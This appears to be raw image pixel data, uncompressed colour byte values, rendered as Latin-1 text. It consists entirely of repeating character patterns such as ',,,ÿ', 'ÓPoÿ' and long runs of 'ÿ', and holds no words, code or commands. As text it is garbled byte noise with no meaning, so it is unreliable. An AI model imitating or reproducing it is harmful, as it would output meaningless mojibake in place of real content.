ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ¯C\ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÛÛÛÿ333ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ%%%ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿX!.ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ¡¡¡ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÀIeÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿþþþÿkkkÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ(((ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿq+;ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿíííÿ@@@ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÌMlÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÄÄÄÿ---ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ+++ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ‹5IÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿˆˆˆÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ.ÿÒPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿùùùÿTTTÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ¢=UÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÜÜÜÿ444ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ"""ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿH&ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ©©©ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ¶E`ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿsssÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ&&&ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿb%3ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿñññÿEEEÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ 